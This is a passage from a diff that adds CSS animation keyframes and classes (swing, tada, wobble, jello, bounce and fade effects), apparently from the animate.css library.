+  6.5% {
+    -webkit-transform: translateX(-6px) rotateY(-9deg);
+    transform: translateX(-6px) rotateY(-9deg);
+  }
+
+  18.5% {
+    -webkit-transform: translateX(5px) rotateY(7deg);
+    transform: translateX(5px) rotateY(7deg);
+  }
+
+  31.5% {
+    -webkit-transform: translateX(-3px) rotateY(-5deg);
+    transform: translateX(-3px) rotateY(-5deg);
+  }
+
+  43.5% {
+    -webkit-transform: translateX(2px) rotateY(3deg);
+    transform: translateX(2px) rotateY(3deg);
+  }
+
+  50% {
+    -webkit-transform: translateX(0);
+    transform: translateX(0);
+  }
+}
+
+.headShake {
+  -webkit-animation-timing-function: ease-in-out;
+  animation-timing-function: ease-in-out;
+  -webkit-animation-name: headShake;
+  animation-name: headShake;
+}
+
+@-webkit-keyframes swing {
+  20% {
+    -webkit-transform: rotate3d(0, 0, 1, 15deg);
+    transform: rotate3d(0, 0, 1, 15deg);
+  }
+
+  40% {
+    -webkit-transform: rotate3d(0, 0, 1, -10deg);
+    transform: rotate3d(0, 0, 1, -10deg);
+  }
+
+  60% {
+    -webkit-transform: rotate3d(0, 0, 1, 5deg);
+    transform: rotate3d(0, 0, 1, 5deg);
+  }
+
+  80% {
+    -webkit-transform: rotate3d(0, 0, 1, -5deg);
+    transform: rotate3d(0, 0, 1, -5deg);
+  }
+
+  to {
+    -webkit-transform: rotate3d(0, 0, 1, 0deg);
+    transform: rotate3d(0, 0, 1, 0deg);
+  }
+}
+
+@keyframes swing {
+  20% {
+    -webkit-transform: rotate3d(0, 0, 1, 15deg);
+    transform: rotate3d(0, 0, 1, 15deg);
+  }
+
+  40% {
+    -webkit-transform: rotate3d(0, 0, 1, -10deg);
+    transform: rotate3d(0, 0, 1, -10deg);
+  }
+
+  60% {
+    -webkit-transform: rotate3d(0, 0, 1, 5deg);
+    transform: rotate3d(0, 0, 1, 5deg);
+  }
+
+  80% {
+    -webkit-transform: rotate3d(0, 0, 1, -5deg);
+    transform: rotate3d(0, 0, 1, -5deg);
+  }
+
+  to {
+    -webkit-transform: rotate3d(0, 0, 1, 0deg);
+    transform: rotate3d(0, 0, 1, 0deg);
+  }
+}
+
+.swing {
+  -webkit-transform-origin: top center;
+  transform-origin: top center;
+  -webkit-animation-name: swing;
+  animation-name: swing;
+}
+
+@-webkit-keyframes tada {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  10%,
+  20% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
+    transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
+  }
+
+  30%,
+  50%,
+  70%,
+  90% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
+    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
+  }
+
+  40%,
+  60%,
+  80% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
+    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+@keyframes tada {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  10%,
+  20% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
+    transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
+  }
+
+  30%,
+  50%,
+  70%,
+  90% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
+    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
+  }
+
+  40%,
+  60%,
+  80% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
+    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+.tada {
+  -webkit-animation-name: tada;
+  animation-name: tada;
+}
+
+/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */
+
+@-webkit-keyframes wobble {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  15% {
+    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
+    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
+  }
+
+  30% {
+    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
+    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
+  }
+
+  45% {
+    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
+    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
+  }
+
+  60% {
+    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
+    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
+  }
+
+  75% {
+    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
+    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes wobble {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  15% {
+    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
+    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
+  }
+
+  30% {
+    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
+    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
+  }
+
+  45% {
+    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
+    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
+  }
+
+  60% {
+    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
+    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
+  }
+
+  75% {
+    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
+    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.wobble {
+  -webkit-animation-name: wobble;
+  animation-name: wobble;
+}
+
+@-webkit-keyframes jello {
+  from,
+  11.1%,
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  22.2% {
+    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
+    transform: skewX(-12.5deg) skewY(-12.5deg);
+  }
+
+  33.3% {
+    -webkit-transform: skewX(6.25deg) skewY(6.25deg);
+    transform: skewX(6.25deg) skewY(6.25deg);
+  }
+
+  44.4% {
+    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
+    transform: skewX(-3.125deg) skewY(-3.125deg);
+  }
+
+  55.5% {
+    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
+    transform: skewX(1.5625deg) skewY(1.5625deg);
+  }
+
+  66.6% {
+    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);
+    transform: skewX(-0.78125deg) skewY(-0.78125deg);
+  }
+
+  77.7% {
+    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);
+    transform: skewX(0.390625deg) skewY(0.390625deg);
+  }
+
+  88.8% {
+    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
+    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
+  }
+}
+
+@keyframes jello {
+  from,
+  11.1%,
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  22.2% {
+    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
+    transform: skewX(-12.5deg) skewY(-12.5deg);
+  }
+
+  33.3% {
+    -webkit-transform: skewX(6.25deg) skewY(6.25deg);
+    transform: skewX(6.25deg) skewY(6.25deg);
+  }
+
+  44.4% {
+    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
+    transform: skewX(-3.125deg) skewY(-3.125deg);
+  }
+
+  55.5% {
+    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
+    transform: skewX(1.5625deg) skewY(1.5625deg);
+  }
+
+  66.6% {
+    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);
+    transform: skewX(-0.78125deg) skewY(-0.78125deg);
+  }
+
+  77.7% {
+    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);
+    transform: skewX(0.390625deg) skewY(0.390625deg);
+  }
+
+  88.8% {
+    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
+    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
+  }
+}
+
+.jello {
+  -webkit-animation-name: jello;
+  animation-name: jello;
+  -webkit-transform-origin: center;
+  transform-origin: center;
+}
+
+@-webkit-keyframes heartBeat {
+  0% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+
+  14% {
+    -webkit-transform: scale(1.3);
+    transform: scale(1.3);
+  }
+
+  28% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+
+  42% {
+    -webkit-transform: scale(1.3);
+    transform: scale(1.3);
+  }
+
+  70% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+}
+
+@keyframes heartBeat {
+  0% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+
+  14% {
+    -webkit-transform: scale(1.3);
+    transform: scale(1.3);
+  }
+
+  28% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+
+  42% {
+    -webkit-transform: scale(1.3);
+    transform: scale(1.3);
+  }
+
+  70% {
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+}
+
+.heartBeat {
+  -webkit-animation-name: heartBeat;
+  animation-name: heartBeat;
+  -webkit-animation-duration: 1.3s;
+  animation-duration: 1.3s;
+  -webkit-animation-timing-function: ease-in-out;
+  animation-timing-function: ease-in-out;
+}
+
+@-webkit-keyframes bounceIn {
+  from,
+  20%,
+  40%,
+  60%,
+  80%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  20% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1);
+    transform: scale3d(1.1, 1.1, 1.1);
+  }
+
+  40% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9);
+    transform: scale3d(0.9, 0.9, 0.9);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(1.03, 1.03, 1.03);
+    transform: scale3d(1.03, 1.03, 1.03);
+  }
+
+  80% {
+    -webkit-transform: scale3d(0.97, 0.97, 0.97);
+    transform: scale3d(0.97, 0.97, 0.97);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+@keyframes bounceIn {
+  from,
+  20%,
+  40%,
+  60%,
+  80%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  20% {
+    -webkit-transform: scale3d(1.1, 1.1, 1.1);
+    transform: scale3d(1.1, 1.1, 1.1);
+  }
+
+  40% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9);
+    transform: scale3d(0.9, 0.9, 0.9);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(1.03, 1.03, 1.03);
+    transform: scale3d(1.03, 1.03, 1.03);
+  }
+
+  80% {
+    -webkit-transform: scale3d(0.97, 0.97, 0.97);
+    transform: scale3d(0.97, 0.97, 0.97);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+.bounceIn {
+  -webkit-animation-duration: 0.75s;
+  animation-duration: 0.75s;
+  -webkit-animation-name: bounceIn;
+  animation-name: bounceIn;
+}
+
+@-webkit-keyframes bounceInDown {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -3000px, 0);
+    transform: translate3d(0, -3000px, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 25px, 0);
+    transform: translate3d(0, 25px, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(0, -10px, 0);
+    transform: translate3d(0, -10px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, 5px, 0);
+    transform: translate3d(0, 5px, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes bounceInDown {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -3000px, 0);
+    transform: translate3d(0, -3000px, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 25px, 0);
+    transform: translate3d(0, 25px, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(0, -10px, 0);
+    transform: translate3d(0, -10px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, 5px, 0);
+    transform: translate3d(0, 5px, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.bounceInDown {
+  -webkit-animation-name: bounceInDown;
+  animation-name: bounceInDown;
+}
+
+@-webkit-keyframes bounceInLeft {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: translate3d(-3000px, 0, 0);
+    transform: translate3d(-3000px, 0, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(25px, 0, 0);
+    transform: translate3d(25px, 0, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(-10px, 0, 0);
+    transform: translate3d(-10px, 0, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(5px, 0, 0);
+    transform: translate3d(5px, 0, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes bounceInLeft {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  0% {
+    opacity: 0;
+    -webkit-transform: translate3d(-3000px, 0, 0);
+    transform: translate3d(-3000px, 0, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(25px, 0, 0);
+    transform: translate3d(25px, 0, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(-10px, 0, 0);
+    transform: translate3d(-10px, 0, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(5px, 0, 0);
+    transform: translate3d(5px, 0, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.bounceInLeft {
+  -webkit-animation-name: bounceInLeft;
+  animation-name: bounceInLeft;
+}
+
+@-webkit-keyframes bounceInRight {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(3000px, 0, 0);
+    transform: translate3d(3000px, 0, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(-25px, 0, 0);
+    transform: translate3d(-25px, 0, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(10px, 0, 0);
+    transform: translate3d(10px, 0, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(-5px, 0, 0);
+    transform: translate3d(-5px, 0, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes bounceInRight {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(3000px, 0, 0);
+    transform: translate3d(3000px, 0, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(-25px, 0, 0);
+    transform: translate3d(-25px, 0, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(10px, 0, 0);
+    transform: translate3d(10px, 0, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(-5px, 0, 0);
+    transform: translate3d(-5px, 0, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.bounceInRight {
+  -webkit-animation-name: bounceInRight;
+  animation-name: bounceInRight;
+}
+
+@-webkit-keyframes bounceInUp {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 3000px, 0);
+    transform: translate3d(0, 3000px, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, -20px, 0);
+    transform: translate3d(0, -20px, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(0, 10px, 0);
+    transform: translate3d(0, 10px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, -5px, 0);
+    transform: translate3d(0, -5px, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes bounceInUp {
+  from,
+  60%,
+  75%,
+  90%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+  }
+
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 3000px, 0);
+    transform: translate3d(0, 3000px, 0);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, -20px, 0);
+    transform: translate3d(0, -20px, 0);
+  }
+
+  75% {
+    -webkit-transform: translate3d(0, 10px, 0);
+    transform: translate3d(0, 10px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, -5px, 0);
+    transform: translate3d(0, -5px, 0);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.bounceInUp {
+  -webkit-animation-name: bounceInUp;
+  animation-name: bounceInUp;
+}
+
+@-webkit-keyframes bounceOut {
+  20% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9);
+    transform: scale3d(0.9, 0.9, 0.9);
+  }
+
+  50%,
+  55% {
+    opacity: 1;
+    -webkit-transform: scale3d(1.1, 1.1, 1.1);
+    transform: scale3d(1.1, 1.1, 1.1);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+}
+
+@keyframes bounceOut {
+  20% {
+    -webkit-transform: scale3d(0.9, 0.9, 0.9);
+    transform: scale3d(0.9, 0.9, 0.9);
+  }
+
+  50%,
+  55% {
+    opacity: 1;
+    -webkit-transform: scale3d(1.1, 1.1, 1.1);
+    transform: scale3d(1.1, 1.1, 1.1);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+}
+
+.bounceOut {
+  -webkit-animation-duration: 0.75s;
+  animation-duration: 0.75s;
+  -webkit-animation-name: bounceOut;
+  animation-name: bounceOut;
+}
+
+@-webkit-keyframes bounceOutDown {
+  20% {
+    -webkit-transform: translate3d(0, 10px, 0);
+    transform: translate3d(0, 10px, 0);
+  }
+
+  40%,
+  45% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, -20px, 0);
+    transform: translate3d(0, -20px, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+}
+
+@keyframes bounceOutDown {
+  20% {
+    -webkit-transform: translate3d(0, 10px, 0);
+    transform: translate3d(0, 10px, 0);
+  }
+
+  40%,
+  45% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, -20px, 0);
+    transform: translate3d(0, -20px, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+}
+
+.bounceOutDown {
+  -webkit-animation-name: bounceOutDown;
+  animation-name: bounceOutDown;
+}
+
+@-webkit-keyframes bounceOutLeft {
+  20% {
+    opacity: 1;
+    -webkit-transform: translate3d(20px, 0, 0);
+    transform: translate3d(20px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+}
+
+@keyframes bounceOutLeft {
+  20% {
+    opacity: 1;
+    -webkit-transform: translate3d(20px, 0, 0);
+    transform: translate3d(20px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+}
+
+.bounceOutLeft {
+  -webkit-animation-name: bounceOutLeft;
+  animation-name: bounceOutLeft;
+}
+
+@-webkit-keyframes bounceOutRight {
+  20% {
+    opacity: 1;
+    -webkit-transform: translate3d(-20px, 0, 0);
+    transform: translate3d(-20px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+}
+
+@keyframes bounceOutRight {
+  20% {
+    opacity: 1;
+    -webkit-transform: translate3d(-20px, 0, 0);
+    transform: translate3d(-20px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+}
+
+.bounceOutRight {
+  -webkit-animation-name: bounceOutRight;
+  animation-name: bounceOutRight;
+}
+
+@-webkit-keyframes bounceOutUp {
+  20% {
+    -webkit-transform: translate3d(0, -10px, 0);
+    transform: translate3d(0, -10px, 0);
+  }
+
+  40%,
+  45% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 20px, 0);
+    transform: translate3d(0, 20px, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+}
+
+@keyframes bounceOutUp {
+  20% {
+    -webkit-transform: translate3d(0, -10px, 0);
+    transform: translate3d(0, -10px, 0);
+  }
+
+  40%,
+  45% {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 20px, 0);
+    transform: translate3d(0, 20px, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+}
+
+.bounceOutUp {
+  -webkit-animation-name: bounceOutUp;
+  animation-name: bounceOutUp;
+}
+
+@-webkit-keyframes fadeIn {
+  from {
+    opacity: 0;
+  }
+
+  to {
+    opacity: 1;
+  }
+}
+
+@keyframes fadeIn {
+  from {
+    opacity: 0;
+  }
+
+  to {
+    opacity: 1;
+  }
+}
+
+.fadeIn {
+  -webkit-animation-name: fadeIn;
+  animation-name: fadeIn;
+}
+
+@-webkit-keyframes fadeInDown {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInDown {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInDown {
+  -webkit-animation-name: fadeInDown;
+  animation-name: fadeInDown;
+}
+
+@-webkit-keyframes fadeInDownBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInDownBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInDownBig {
+  -webkit-animation-name: fadeInDownBig;
+  animation-name: fadeInDownBig;
+}
+
+@-webkit-keyframes fadeInLeft {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInLeft {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInLeft {
+  -webkit-animation-name: fadeInLeft;
+  animation-name: fadeInLeft;
+}
+
+@-webkit-keyframes fadeInLeftBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInLeftBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInLeftBig {
+  -webkit-animation-name: fadeInLeftBig;
+  animation-name: fadeInLeftBig;
+}
+
+@-webkit-keyframes fadeInRight {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInRight {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInRight {
+  -webkit-animation-name: fadeInRight;
+  animation-name: fadeInRight;
+}
+
+@-webkit-keyframes fadeInRightBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInRightBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInRightBig {
+  -webkit-animation-name: fadeInRightBig;
+  animation-name: fadeInRightBig;
+}
+
+@-webkit-keyframes fadeInUp {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInUp {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 100%, 0);
